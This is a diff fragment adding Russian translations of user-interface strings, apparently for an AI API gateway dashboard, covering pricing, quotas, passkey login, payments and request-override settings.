+    "Optional supplementary information (max 100 characters)": "Необязательная дополнительная информация (макс. 100 символов)",
+    "Optional tag for grouping channels": "Необязательный тег для группировки каналов",
+    "Opus Model": "Модель Opus",
+    "Or continue with": "Или продолжить с",
+    "Or enter this key manually:": "Или введите этот ключ вручную:",
+    "Order completed successfully": "Заказ успешно завершен",
+    "Order History": "История заказов",
+    "Order Payment Method": "Способ оплаты (заказа)",
+    "org-...": "орг-...",
+    "Original Model": "Оригинальная модель",
+    "Other": "Другое",
+    "Output": "Вывод",
+    "Output price": "Цена выхода",
+    "Output tokens": "Выходные токены",
+    "Output Tokens": "Выходные токены",
+    "override": "переопределить",
+    "Override": "Перезаписать",
+    "Override Anthropic headers, defaults, and thinking adapter behavior": "Переопределить заголовки Anthropic, значения по умолчанию и поведение адаптера мышления",
+    "Override auto-discovered endpoint": "Переопределить автоматически обнаруженную конечную точку",
+    "Override request headers": "Переопределить заголовки запроса",
+    "Override request headers (JSON format)": "Переопределение заголовков запроса (формат JSON)",
+    "Override request parameters (JSON format)": "Переопределить параметры запроса (формат JSON)",
+    "Override request parameters. Cannot override": "Переопределить параметры запроса. Невозможно переопределить",
+    "Override the endpoint used for testing. Leave empty to auto detect.": "Переопределить конечную точку, используемую для тестирования. Оставьте пустым для автоматического определения.",
+    "overrides for matching model prefix.": "переопределяет цену по совпавшему префиксу модели.",
+    "Overview": "Обзор",
+    "Overwritten": "Перезаписано",
+    "Page": "Страница",
+    "Page {{current}} of {{total}}": "Страница {{current}} из {{total}}",
+    "PaLM": "PaLM",
+    "Pan": "Панорама",
+    "Param Override": "Переопределение параметров",
+    "Parameter Override": "Переопределение параметра",
+    "Parameter Override Template (JSON)": "Шаблон переопределения параметров (JSON)",
+    "Parameter override template must be a JSON object": "Шаблон переопределения параметров должен быть объектом JSON",
+    "parameter.": "параметр.",
+    "Parameters": "Параметры",
+    "Parsed {{count}} service account file(s)": "Проанализировано файлов сервисного аккаунта {{count}}",
+    "Partial Submission": "Частичная отправка",
+    "Pass Headers": "Пропустить заголовки",
+    "Pass request body directly to upstream": "Передать тело запроса напрямую вышестоящему серверу",
+    "Pass Through Body": "Передача тела запроса",
+    "Pass through the anthropic-beta header for beta features": "Проброс заголовка anthropic-beta для бета-функций",
+    "Pass through the include field for usage obfuscation": "Проброс поля include для обфускации использования",
+    "Pass through the inference_geo field for Claude data residency region control": "Проброс поля inference_geo для управления регионом размещения данных Claude",
+    "Pass through the inference_geo field for geographic routing": "Проброс поля inference_geo для географической маршрутизации",
+    "Pass through the safety_identifier field": "Пройдите через поле safety_identifier",
+    "Pass through the service_tier field": "Пройдите через поле service_tier",
+    "Pass through the speed field for Claude inference speed mode control": "Проброс поля speed для управления режимом скорости инференса Claude",
+    "Pass-Through": "Сквозной доступ",
+    "Passkey": "Passkey",
+    "Passkey Authentication": "Аутентификация Passkey",
+    "Passkey is not available in this browser": "Passkey недоступен в этом браузере",
+    "Passkey is not supported in this environment": "Passkey не поддерживается в этой среде",
+    "Passkey is not supported on this device": "Passkey не поддерживается на этом устройстве",
+    "Passkey is not supported on this device.": "Passkey не поддерживается на этом устройстве.",
+    "Passkey Login": "Вход через Passkey",
+    "Passkey login failed": "Ошибка входа с Passkey",
+    "Passkey login was cancelled": "Вход с Passkey был отменён",
+    "Passkey login was cancelled or timed out": "Вход с Passkey был отменён или истёк тайм-аут",
+    "Passkey not supported on this device": "Passkey не поддерживается на этом устройстве",
+    "Passkey registered successfully": "Passkey успешно зарегистрирован",
+    "Passkey registration was cancelled": "Регистрация Passkey была отменена",
+    "Passkey removed successfully": "Passkey успешно удалён",
+    "Passkey reset successfully": "Passkey успешно сброшен",
+    "Password": "Пароль",
+    "Password / Access Token": "Пароль / Токен доступа",
+    "Password changed successfully": "Пароль успешно изменён",
+    "Password copied to clipboard: {{password}}": "Пароль скопирован в буфер обмена: {{password}}",
+    "Password has been copied to clipboard": "Пароль скопирован в буфер обмена",
+    "Password Login": "Вход по паролю",
+    "Password must be at least 8 characters": "Пароль должен содержать не менее 8 символов",
+    "Password must be at least 8 characters long": "Пароль должен содержать не менее 8 символов",
+    "Password Registration": "Регистрация пароля",
+    "Password reset and copied to clipboard: {{password}}": "Пароль сброшен и скопирован в буфер обмена: {{password}}",
+    "Password reset: {{password}}": "Пароль сброшен: {{password}}",
+    "Passwords do not match": "Пароли не совпадают",
+    "Paste the full callback URL (includes code & state)": "Вставьте полный callback URL (включая code и state)",
+    "Path": "Путь",
+    "Path Regex (one per line)": "Регулярное выражение пути (по одному на строку)",
+    "Path:": "Путь:",
+    "Pay": "Pay",
+    "Pay-as-you-go with real-time usage monitoring": "Оплата по мере использования с мониторингом в реальном времени",
+    "Payment Channel": "Платёжный канал",
+    "Payment Gateway": "Платежный шлюз",
+    "Payment initiated": "Платёж инициирован",
+    "Payment Method": "Способ оплаты",
+    "Payment method name": "Название способа оплаты",
+    "Payment method name is required": "Название способа оплаты обязательно",
+    "Payment method type": "Тип способа оплаты",
+    "Payment method type is required": "Тип способа оплаты обязателен",
+    "Payment methods": "Способы оплаты",
+    "Payment Methods": "Способы оплаты",
+    "Payment page opened": "Страница оплаты открыта",
+    "Payment request failed": "Запрос на оплату не удался",
+    "Payment return URL": "URL возврата после оплаты",
+    "Pending": "Ожидает",
+    "per": "за",
+    "Per 1K tokens": "За 1K токенов",
+    "Per 1M tokens": "За 1M токенов",
+    "per request": "за запрос",
+    "Per request": "За запрос",
+    "Per Request": "За запрос",
+    "Per-call": "По вызову",
+    "Per-feature metered windows split by model or capability.": "Окна с поминутной тарификацией по фиче, в разбивке по модели или возможностям.",
+    "Per-request (fixed price)": "За запрос (фиксированная цена)",
+    "Per-token": "За токен",
+    "Per-token (ratio based)": "За токен (на основе соотношения)",
+    "Percentage:": "Процент:",
+    "Performance": "Производительность",
+    "Performance Monitor": "Монитор производительности",
+    "Performance Settings": "Настройки производительности",
+    "Periodically check for upstream model changes": "Периодически проверять изменения моделей провайдера",
+    "Periodically send ping frames to keep streaming connections active.": "Периодически отправлять пинг-кадры для поддержания активности потоковых соединений.",
+    "Permanently delete your account and all data": "Безвозвратно удалить ваш аккаунт и все данные",
+    "Permit Passkey registration on non-HTTPS origins (only recommended for development)": "Разрешить регистрацию Passkey на не-HTTPS источниках (рекомендуется только для разработки)",
+    "Perplexity": "Perplexity",
+    "Persist your data file": "Сохранить ваш файл данных",
+    "Personal area": "Личный кабинет",
+    "Personal Center Area": "Область личного кабинета",
+    "Personal info settings": "Настройки личной информации",
+    "Personal Settings": "Личные настройки",
+    "Personal settings and profile management.": "Персональные настройки и управление профилем.",
+    "Personal use": "Личное использование",
+    "Personal use mode": "Режим личного использования",
+    "Pick a date": "Выберите дату",
+    "Ping Interval (seconds)": "Интервал Ping (секунды)",
+    "Plan": "План",
+    "Plan Name": "Название плана",
+    "Plan Subtitle": "Подзаголовок плана",
+    "Plan Title": "Название плана",
+    "Planned maintenance on Friday at 22:00 UTC...": "Запланированное обслуживание в пятницу в 22:00 UTC...",
+    "Platform": "Платформа",
+    "Playground": "Песочница",
+    "Playground and chat functions": "Функции песочницы и чата",
+    "Playground experiments and live conversations.": "Эксперименты в песочнице и живые беседы.",
+    "Please agree to the legal terms first": "Сначала согласитесь с юридическими условиями",
+    "Please complete the security check to continue.": "Пожалуйста, завершите проверку безопасности, чтобы продолжить.",
+    "Please confirm that you understand the consequences": "Пожалуйста, подтвердите, что понимаете последствия",
+    "Please enable io.net model deployment service and configure an API key in System Settings.": "Пожалуйста, включите сервис развертывания моделей io.net и настройте API-ключ в системных настройках.",
+    "Please enable Two-factor Authentication or Passkey before proceeding": "Пожалуйста, включите двухфакторную аутентификацию или Passkey перед продолжением",
+    "Please enter a name": "Пожалуйста, введите имя",
+    "Please enter a new password": "Пожалуйста, введите новый пароль",
+    "Please enter a redemption code": "Пожалуйста, введите код активации",
+    "Please enter a valid duration": "Пожалуйста, введите действительную длительность",
+    "Please enter a valid email address": "Пожалуйста, введите действительный адрес электронной почты",
+    "Please enter a valid number": "Пожалуйста, введите допустимое число",
+    "Please enter a Well-Known URL first": "Пожалуйста, сначала введите Well-Known URL",
+    "Please enter amount": "Пожалуйста, введите сумму",
+    "Please enter an administrator username": "Пожалуйста, введите имя пользователя администратора",
+    "Please enter API key first": "Сначала введите ключ API",
+    "Please enter chat client name": "Пожалуйста, введите имя чат-клиента",
+    "Please enter email and verification code": "Пожалуйста, введите email и код подтверждения",
+    "Please enter keys first": "Сначала введите ключи",
+    "Please enter model name": "Введите название модели",
+    "Please enter plan title": "Пожалуйста, введите название плана",
+    "Please enter the authentication code.": "Пожалуйста, введите код аутентификации.",
+    "Please enter the URL": "Пожалуйста, введите URL",
+    "Please enter the verification code": "Введите код подтверждения",
+    "Please enter your current password": "Пожалуйста, введите текущий пароль",
+    "Please enter your email": "Введите адрес электронной почты",
+    "Please enter your email first": "Пожалуйста, сначала введите ваш email",
+    "Please enter your verification code": "Пожалуйста, введите код подтверждения",
+    "Please enter your verification code or backup code": "Пожалуйста, введите код подтверждения или резервный код",
+    "Please fix JSON errors before saving": "Исправьте ошибки JSON перед сохранением",
+    "Please log in with the appropriate credentials": "Пожалуйста, войдите с соответствующими учетными данными",
+    "Please manually copy and open the authorization link": "Скопируйте и откройте ссылку авторизации вручную",
+    "Please select a container": "Пожалуйста, выберите контейнер",
+    "Please select a payment method": "Пожалуйста, выберите способ оплаты",
+    "Please select a primary model": "Пожалуйста, выберите основную модель",
+    "Please select a subscription plan": "Пожалуйста, выберите план подписки",
+    "Please select at least one channel": "Пожалуйста, выберите хотя бы один канал",
+    "Please select at least one model": "Пожалуйста, выберите хотя бы одну модель",
+    "Please select items to delete": "Пожалуйста, выберите элементы для удаления",
+    "Please Select user groups that can access this channel.": "Пожалуйста, выберите группы пользователей, которые могут получить доступ к этому каналу.",
+    "Please set Ollama API Base URL first": "Сначала установите базовый URL-адрес API Ollama",
+    "Please try again later.": "Пожалуйста, попробуйте еще раз позже.",
+    "Please upload key file(s)": "Загрузите ключевой файл(ы)",
+    "Please wait a moment, human check is initializing...": "Пожалуйста, подождите немного, инициализация проверки человеком...",
+    "Policy JSON": "JSON политики",
+    "Polling": "Опрос",
+    "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded": "Режим опроса требует Redis и кэш памяти, в противном случае производительность будет значительно снижена",
+    "Poor": "Плохо",
+    "Port": "Порт",
+    "Port must be a positive integer": "Порт должен быть положительным целым числом",
+    "Post Delta": "Дельта после расчёта",
+    "PostgreSQL detected": "PostgreSQL обнаружен",
+    "PostgreSQL offers advanced reliability and data integrity for production workloads.": "PostgreSQL обеспечивает высокую надёжность и целостность данных для продакшен-нагрузок.",
+    "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.": "PostgreSQL предлагает надежные гарантии. Дважды проверьте окно обслуживания и политики хранения данных перед запуском.",
+    "Powerful API Management Platform": "Мощная платформа управления API",
+    "Pre-Consume for Free Models": "Предварительное потребление для бесплатных моделей",
+    "Pre-consumed": "Предоплата",
+    "Pre-Consumed Quota": "Предварительно потребленная квота",
+    "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.": "Настройка сохранена как {{pref}}, но нет активной подписки. Кошелёк будет использоваться автоматически.",
+    "Preferences": "Настройки",
+    "Prefill Group Management": "Управление группами автозаполнения",
+    "Prefill Groups": "Группы автозаполнения",
+    "Prefill groups help you keep complex configurations in sync.": "Группы автозаполнения помогают синхронизировать сложные конфигурации.",
+    "Prefix": "Префикс",
+    "Prefix Match": "Совпадение по префиксу",
+    "Prefix used when displaying prices": "Префикс, используемый при отображении цен",
+    "Premium chat models": "Премиум-модели чата",
+    "Preparing chat keys…": "Подготовка ключей чата…",
+    "Preparing your chat link, please try again in a moment.": "Подготовка вашей ссылки на чат, попробуйте снова через мгновение.",
+    "Preparing your chat link…": "Подготовка вашей ссылки для чата…",
+    "Prepend": "Добавить в начало",
+    "Preset recharge amounts (JSON array)": "Предустановленные суммы пополнения (массив JSON)",
+    "Preset recharge amounts displayed to users": "Предустановленные суммы пополнения, отображаемые пользователям",
+    "Preset Template": "Предустановленный шаблон",
+    "Preset templates": "Предустановленные шаблоны",
+    "Press Enter or comma to add tags": "Нажмите Enter или запятую, чтобы добавить теги",
+    "Press Enter to use \"{{value}}\"": "Нажмите Enter, чтобы использовать «{{value}}»",
+    "Prevent server-side request forgery attacks": "Предотвращение атак подделки запросов на стороне сервера",
+    "Prevent server-side request forgery attacks by controlling outbound requests.": "Предотвращение атак подделки запросов на стороне сервера путем контроля исходящих запросов.",
+    "Preview": "Предварительный просмотр",
+    "Previous": "Предыдущий шаг",
+    "Previous branch": "Предыдущая ветка",
+    "Previous page": "Предыдущая страница",
+    "Price": "Цена",
+    "Price ($/1K calls)": "Цена ($/1K вызовов)",
+    "Price (local currency / USD)": "Цена (местная валюта / USD)",
+    "Price display": "Отображение цены",
+    "Price display mode": "Режим отображения цены",
+    "Price estimation": "Оценка стоимости",
+    "Price estimation description": "После настройки типа оборудования, места размещения, количества реплик и т.д. стоимость будет рассчитана автоматически.",
+    "Price ID": "ID цены",
+    "Price mode (USD per 1M tokens)": "Режим ценообразования (USD за 1 млн токенов)",
+    "price_xxx": "price_xxx",
+    "Price:": "Цена:",
+    "Price: High to Low": "Цена: от высокой к низкой",
+    "Price: Low to High": "Цена: от низкой к высокой",
+    "Prices shown per": "Цены указаны за",
+    "Prices synced successfully": "Цены успешно синхронизированы",
+    "Prices vary by usage tier and request conditions": "Цена зависит от уровня использования и условий запроса",
+    "Pricing": "Ценообразование",
+    "Pricing & Display": "Цены и отображение",
+    "Pricing by Group": "Ценообразование по группам",
+    "Pricing Configuration": "Конфигурация ценообразования",
+    "Pricing mode": "Режим ценообразования",
+    "Pricing Ratios": "Коэффициенты ценообразования",
+    "Pricing Type": "Тип ценообразования",
+    "Primary Model": "Основная модель",
+    "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)": "Приоритет повторного использования последнего успешного канала на основе ключей из контекста запроса (липкая маршрутизация)",
+    "Priority": "Приоритет",
+    "Priority (Default)": "Приоритет (По умолчанию)",
+    "Priority level from 0 (lowest) to 10 (highest), default is 5": "Уровень приоритета от 0 (самый низкий) до 10 (самый высокий), по умолчанию 5",
+    "Priority order for automatic group assignment. New tokens rotate through this list.": "Порядок приоритета для автоматического назначения групп. Новые токены ротируются по этому списку.",
+    "Privacy Policy": "Политика конфиденциальности",
+    "Private Deployment URL": "URL частного развертывания",
+    "Processing OAuth response...": "Обработка ответа OAuth...",
+    "Processing...": "Обработка...",
+    "Product": "Продукт",
+    "Product ID": "ID продукта",
+    "Product ID is required": "Требуется ID товара",
+    "Product Name": "Название продукта",
+    "Products": "Продукты",
+    "Professional team providing 24/7 technical support": "Профессиональная команда, обеспечивающая круглосуточную техническую поддержку",
+    "Profile": "Профиль",
+    "Profile updated successfully": "Профиль успешно обновлён",
+    "Progress": "Прогресс",
+    "Project": "Проект",
+    "Promote": "Повысить",
+    "Promotion codes": "Промокоды",
+    "Prompt": "Промпт",
+    "Prompt (EN)": "Промпт (EN)",
+    "Prompt cache ratio": "Коэффициент кэша промптов",
+    "Prompt Caching": "Кэширование промптов",
+    "Prompt Details": "Детали промпта",
+    "Prompt price ($/1M tokens)": "Цена промпта ($/1 млн токенов)",
+    "Protect login and registration with Cloudflare Turnstile": "Защитите вход и регистрацию с помощью Cloudflare Turnstile",
+    "Provide a JSON object where each key maps to an endpoint definition.": "Предоставьте JSON-объект, в котором каждый ключ соответствует определению конечной точки.",
+    "Provide a valid URL starting with http:// or https://": "Укажите действительный URL, начинающийся с http:// или https://",
+    "Provide Markdown, HTML, or an external URL for the privacy policy": "Укажите Markdown, HTML или внешний URL для политики конфиденциальности",
+    "Provide Markdown, HTML, or an external URL for the user agreement": "Укажите Markdown, HTML или внешний URL для пользовательского соглашения",
+    "Provide per-category safety overrides as JSON. Use `default` for fallback values.": "Предоставьте переопределения безопасности по категориям в формате JSON. Используйте `default` для резервных значений.",
+    "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.": "Предоставьте переопределения заголовков для каждой модели в формате JSON. Полезно для включения бета-функций, таких как расширенные окна контекста.",
+    "Provider": "Провайдер",
+    "Provider created successfully": "Поставщик успешно создан",
+    "Provider deleted successfully": "Поставщик успешно удален",
+    "Provider Name": "Имя поставщика",
+    "Provider type (OpenAI, Anthropic, etc.)": "Тип провайдера (OpenAI, Anthropic и т.д.)",
+    "Provider updated successfully": "Поставщик успешно обновлен",
+    "Proxy Address": "Адрес прокси",
+    "Publish Date": "Дата публикации",
+    "Published": "Опубликовано",
+    "Published:": "Опубликовано:",
+    "Pull": "Загрузить",
+    "Pull model": "Загрузить модель",
+    "Pulling...": "Загрузка...",
+    "Purchase a plan to enjoy model benefits": "Приобретите план, чтобы воспользоваться преимуществами моделей",
+    "Purchase here": "Купить здесь",
+    "Purchase Limit": "Лимит покупок",
+    "Purchase limit reached": "Достигнут лимит покупок",
+    "Purchase Subscription": "Приобрести подписку",
+    "QR Code Image URL": "URL изображения QR-кода",
+    "QR code is not configured. Please contact support.": "QR-код не настроен. Пожалуйста, свяжитесь со службой поддержки.",
+    "Quantity": "Количество",
+    "QuantumNous": "QuantumNous",
+    "Query Balance": "Баланс запросов",
+    "Query Param": "Параметр запроса",
+    "Querying...": "Выполняется запрос...",
+    "Question": "Вопрос",
+    "Queued": "В очереди",
+    "Quick insert common payment methods": "Быстрая вставка распространенных способов оплаты",
+    "Quick Range": "Быстрый диапазон",
+    "Quick Setup from Preset": "Быстрая настройка из предустановки",
+    "Quota": "Квота",
+    "Quota ({{currency}})": "Квота ({{currency}})",
+    "Quota adjusted successfully": "Квота успешно изменена",
+    "Quota consumed before charging users": "Квота, потребляемая до взимания платы с пользователей",
+    "Quota Distribution": "Распределение квоты",
+    "Quota given to invited users": "Квота, предоставляемая приглашенным пользователям",
+    "Quota given to users who invite others": "Квота, предоставляемая пользователям, которые приглашают других",
+    "Quota must be a positive number": "Квота должна быть положительным числом",
+    "Quota Per Unit": "Квота на единицу",
+    "Quota reminder (tokens)": "Напоминание о квоте (токены)",
+    "Quota Reset": "Сброс квоты",
+    "Quota Settings": "Настройки квоты",
+    "Quota Types": "Типы квот",
+    "Quota Warning Threshold": "Порог предупреждения о квоте",
+    "Quota:": "Квота:",
+    "Random": "Случайный",
+    "Randomly select a key from the pool for each request": "Случайно выбирать ключ из пула для каждого запроса",
+    "Rate Limit Windows": "Окна ограничения скорости",
+    "Rate Limiting": "Ограничение скорости",
+    "Ratio": "Коэффициент",
+    "Ratio applied to audio completions for streaming models.": "Коэффициент, применяемый к аудио-завершениям для потоковых моделей.",
+    "Ratio applied to audio inputs where supported by the upstream model.": "Коэффициент, применяемый к аудио-входам, где это поддерживается вышестоящей моделью.",
+    "Ratio applied when creating cache entries for supported models.": "Коэффициент, применяемый при создании записей кэша для поддерживаемых моделей.",
+    "Ratio mode": "Режим соотношения",
+    "Ratio Type": "Тип соотношения",
+    "Ratio: {{value}}": "Коэффициент: {{value}}",
+    "Ratios synced successfully": "Соотношения успешно синхронизированы",
+    "Raw JSON": "Сырой JSON",
+    "Raw Quota": "Исходная квота",
+    "Re-enable on success": "Повторно включить при успехе",
+    "Re-login": "Повторный вход",
+    "Ready to initialize": "Готов к инициализации",
+    "Ready to simplify": "Готовы упростить",
+    "Real exchange rate between USD and your payment gateway currency": "Реальный обменный курс между USD и валютой вашего платежного шлюза",
+    "Reason": "Причина",
+    "Reason:": "Причина:",
+    "Reasoning": "Обоснование",
+    "Reasoning Effort": "Интенсивность рассуждения",
+    "Receive Upstream Model Update Notifications": "Получать уведомления об обновлениях вышестоящих моделей",
+    "Received": "Получено",
+    "Recharge": "Пополнение",
+    "Recharge Amount": "Сумма пополнения",
+    "Recharge Amount (USD)": "Сумма пополнения (USD)",
+    "Recommended": "Рекомендуется",
+    "Recommended to keep this high to avoid upstream throttling.": "Рекомендуется поддерживать это значение высоким, чтобы избежать регулирования со стороны вышестоящего поставщика.",
+    "Record IP Address": "Записывать IP-адрес",
+    "Record quota usage": "Записывать использование квоты",
+    "Redeem": "Обменять квоту",
+    "Redeem codes": "Активировать коды",
+    "Redeemed By": "Активировано",
+    "Redeemed:": "Активировано:",
+    "redemption code": "код активации",
+    "Redemption Code": "Код активации",
+    "Redemption code deleted successfully": "Код активации успешно удален",
+    "Redemption code disabled successfully": "Код активации успешно отключен",
+    "Redemption code enabled successfully": "Код активации успешно включен",
+    "Redemption code updated successfully": "Код активации успешно обновлен",
+    "Redemption code(s) created successfully": "Код(ы) активации успешно создан(ы)",
+    "Redemption Codes": "Коды активации",
+    "redemption codes.": "коды активации.",
+    "Redemption failed": "Погашение не удалось",
+    "Redemption successful! Added: {{quota}}": "Погашение успешно! Добавлено: {{quota}}",
+    "Redirecting to chat page...": "Перенаправление на страницу чата...",
+    "Redirecting to Creem checkout...": "Перенаправление на кассу Creem...",
+    "Redirecting to GitHub...": "Перенаправление на GitHub...",
+    "Redirecting to payment page...": "Перенаправление на страницу оплаты...",
+    "Reference Video": "Эталонное видео",
+    "Referral link:": "Реферальная ссылка:",
+    "Referral Program": "Реферальная программа",
+    "Refresh": "Обновить",
+    "Refresh Cache": "Обновить кэш",
+    "Refresh credential": "Обновить учётные данные",
+    "Refresh failed": "Ошибка обновления",
+    "Refresh interval (minutes)": "Интервал обновления (минуты)",
+    "Refresh Stats": "Обновить статистику",
+    "Refreshing...": "Обновление...",
+    "Refund": "Возврат",
+    "Refund Details": "Детали возврата",
+    "Regenerate": "Перегенерировать",
+    "Regenerate Backup Codes": "Сгенерировать резервные коды",
+    "Regex Replace": "Замена по регулярному выражению",
+    "Register Passkey": "Регистрация Passkey",
+    "Registration Enabled": "Регистрация включена",
+    "Registry (optional)": "Реестр (необязательно)",
+    "Registry secret": "Секрет реестра",
+    "Registry username": "Имя пользователя реестра",
+    "Reject Reason": "Причина отклонения",
+    "Release details": "Детали релиза",
+    "Relying Party Display Name": "Отображаемое имя проверяющей стороны",
+    "Relying Party ID": "Идентификатор проверяющей стороны",
+    "Remaining": "Остаток",
+    "Remaining quota": "Остаток квоты",
+    "Remaining Quota ({{currency}})": "Остаток квоты ({{currency}})",
+    "Remaining quota units": "Остаток единиц квоты",
+    "Remaining:": "Осталось:",
+    "Remark": "Примечания",
+    "Remove": "Удалить",
+    "Remove ${{amount}}": "Удалить ${{amount}}",
+    "Remove all log entries created before the selected timestamp.": "Удалить все записи журнала, созданные до выбранной отметки времени.",
+    "Remove attachment": "Удалить вложение",
+    "Remove condition": "Удалить условие",
+    "Remove Duplicates": "Удалить дубликаты",
+    "Remove filter": "Удалить фильтр",
+    "Remove functionResponse.id field": "Удалить поле functionResponse.id",
+    "Remove Models": "Удалить модели",
+    "Remove Passkey": "Отвязать Passkey",
+    "Remove Passkey?": "Удалить ключ доступа?",
+    "Remove rule group": "Удалить группу правил",
+    "Remove tier": "Удалить уровень",
+    "Removed": "Удалено",
+    "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}": "Удалено {{removed}} дублирующихся ключей. До: {{before}}, После: {{after}}",
+    "Removed Models ({{count}})": "Удалённые модели ({{count}})",
+    "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.": "Удаляет флаги Midjourney, такие как --fast, --relax и --turbo, из промптов пользователя.",
+    "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.": "Удаление ключа доступа потребует от вас входа с паролем в следующий раз. Вы можете перерегистрироваться в любое время.",
+    "Rename": "Переименовать",
+    "Rename deployment": "Переименовать развертывание",
+    "Rename failed": "Ошибка переименования",
+    "Renamed successfully": "Успешно переименовано",
+    "Repeat the administrator password": "Повторите пароль администратора",
+    "Replace": "Заменить",
+    "Replace all existing keys": "Заменить все существующие ключи",
+    "Replace channel models": "Замена моделей каналов",
+    "Replace mode: Will completely replace all existing keys": "Режим замены: полностью заменит все существующие ключи",
+    "replaced": "заменено",
+    "Replacement Model": "Модель замены",
+    "Replica count": "Количество реплик",
+    "Replicate": "Replicate",
+    "request": "запрос",
+    "Request": "Запрос",
+    "Request Body Disk Cache": "Дисковый кэш тела запроса",
+    "Request Body Memory Cache": "Кэш памяти тела запроса",
+    "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.": "Проброс тела запроса включён. Тело запроса будет отправлено напрямую без конвертации.",
+    "Request conversion": "Преобразование запроса",
+    "Request Conversion": "Конвертация запроса",
+    "Request Count": "Количество запросов",
+    "Request failed": "Запрос не выполнен",
+    "Request flow": "Поток запросов",
+    "Request Header Overrides": "Переопределения заголовков запроса",
+    "Request ID": "ID запроса",
+    "Request Limits": "Лимиты запросов",
+    "Request Model": "Запрошенная модель",
+    "Request Model:": "Модель запроса:",
+    "Request rule pricing": "Правила ценообразования по запросу",
+    "Request timed out, please refresh and restart GitHub login": "Время ожидания истекло, обновите страницу и снова запустите вход через GitHub",
+    "Request-based": "Зависит от запроса",
+    "Requests per minute": "Запросов в минуту",
+    "requests served": "обслуженных запросов",
+    "Requests will be forwarded to this worker. Trailing slashes are removed automatically.": "Запросы будут перенаправлены этому воркеру. Конечные слеши удаляются автоматически.",
+    "Requests:": "Запросы:",
+    "Require email verification for new accounts": "Требовать подтверждение электронной почты для новых учетных записей",
+    "Require job success before follow-up actions": "Требовать успеха задания перед последующими действиями",
+    "Require login to view models": "Требовать вход для просмотра моделей",
+    "Required": "Обязательно",
+    "Required events:": "Обязательные события:",
+    "Required to expose Midjourney-style image generation to end users.": "Необходимо для предоставления генерации изображений в стиле Midjourney конечным пользователям.",
+    "Rerank": "Переранжировать",
+    "Reroll": "Повторить",
+    "Resend ({{seconds}}s)": "Отправить повторно ({{seconds}}с)",
+    "Reset": "Сброс",
+    "Reset 2FA": "Сбросить 2FA",
+    "Reset all model ratios?": "Сбросить все соотношения моделей?",
+    "Reset all settings to default values": "Сбросить все настройки до значений по умолчанию",
+    "Reset at:": "Сброс в:",
+    "Reset balance and used quota": "Сбросить баланс и использованную квоту",
+    "Reset Cycle": "Цикл сброса",
+    "Reset email sent, please check your inbox": "Письмо для сброса отправлено, проверьте входящие",
+    "Reset failed": "Ошибка сброса",
+    "Reset Passkey": "Сброс Passkey",
+    "Reset password": "Сбросить пароль",
+    "Reset Period": "Период сброса",
+    "Reset ratios": "Сбросить соотношения",
+    "Reset Stats": "Сбросить статистику",
+    "Reset to default": "Сбросить до значений по умолчанию",
+    "Reset to Default": "Сбросить по умолчанию",
+    "Reset to default configuration": "Сброшено к конфигурации по умолчанию",
+    "Reset Two-Factor Authentication": "Сброс 2FA",
+    "Resets in:": "Сброс через:",
+    "Resolve Conflicts": "Разрешить конфликты",
+    "Resource Configuration": "Конфигурация ресурсов",
+    "Response": "Ответ",
+    "Response Time": "Время ответа",
+    "Responses API Version": "Версия API ответов",
+    "Restore defaults": "Сбросить к значениям по умолчанию",
+    "Restrict user model request frequency (may impact high concurrency performance)": "Ограничить частоту запросов пользовательских моделей (может повлиять на производительность при высокой конкуренции)",
+    "Retain last N days": "Хранить последние N дней",
+    "Retain last N files": "Хранить последние N файлов",
+    "Retry": "Повторить попытку",
+    "Retry Chain": "Цепочка повторов",
+    "Retry Times": "Количество повторных попыток",
+    "Return Error": "Вернуть ошибку",
+    "Return to dashboard": "Вернуться на панель управления",
+    "Reveal API key": "Показать API ключ",
+    "Reveal key": "Показать ключ",
+    "Revenue": "Доход",
+    "Review & initialize": "Проверить и инициализировать",
+    "Review current version and fetch release notes.": "Просмотреть текущую версию и получить примечания к выпуску.",
+    "Review your payment details": "Проверьте свои платежные данные",
+    "Review your purchase details before proceeding.": "Просмотрите детали покупки перед продолжением.",
+    "Rewards will be added directly to your balance": "Награды будут добавлены напрямую в ваш баланс",
+    "Rewrite callback URLs to the local server": "Перезаписывать URL обратных вызовов на локальный сервер",
+    "Role": "Роль",
+    "Root": "Корень",
+    "Route": "Маршрут",
+    "Route Description": "Описание маршрута",
+    "Route is required": "Маршрут обязателен",
+    "Rows per page": "Строк на страницу",
+    "RPM": "RPM",
+    "RSA Private Key (Production)": "RSA-приватный ключ (Продакшн)",
+    "RSA Private Key (Sandbox)": "RSA-приватный ключ (Песочница)",
+    "Rule": "Правило",
+    "Rule group": "Группа правил",
+    "rules": "правила",
+    "Rules JSON": "Правила JSON",
+    "Rules JSON must be an array": "JSON правил должен быть массивом",
+    "Run GC": "Запустить GC",
+    "Run tests for the selected models": "Запустить тесты для выбранных моделей",
+    "Running": "Выполняется",
+    "s": "s",
+    "Safety Settings": "Настройки безопасности",
+    "Same as Local": "То же, что и локальный",
+    "Sandbox mode": "Режим песочницы",
+    "Save": "Сохранить",
+    "Save all settings": "Сохранить все настройки",
+    "Save Backup Codes": "Сохранить резервные коды",
+    "Save changes": "Сохранить изменения",
+    "Save Changes": "Сохранить изменения",
+    "Save chat settings": "Сохранить настройки чата",
+    "Save check-in settings": "Сохранить настройки прибытия",
+    "Save Creem settings": "Сохранить настройки Creem",
+    "Save drawing settings": "Сохранить настройки рисования",
+    "Save Epay settings": "Сохранить настройки Epay",
+    "Save failed": "Не удалось сохранить",
+    "Save failed, please retry": "Не удалось сохранить, попробуйте снова",
+    "Save general settings": "Сохранить общие настройки",
+    "Save group ratios": "Сохранить коэффициенты групп",
+    "Save io.net settings": "Сохранить настройки io.net",
+    "Save log settings": "Сохранить настройки журнала",
+    "Save model ratios": "Сохранить коэффициенты моделей",
+    "Save Models": "Сохранить модели",
+    "Save monitoring rules": "Сохранить правила мониторинга",
+    "Save navigation": "Сохранить навигацию",
+    "Save notice": "Сохранить уведомление",
+    "Save rate limits": "Сохранить лимиты скорости",
+    "Save sensitive words": "Сохранить чувствительные слова",
+    "Save Settings": "Сохранить настройки",
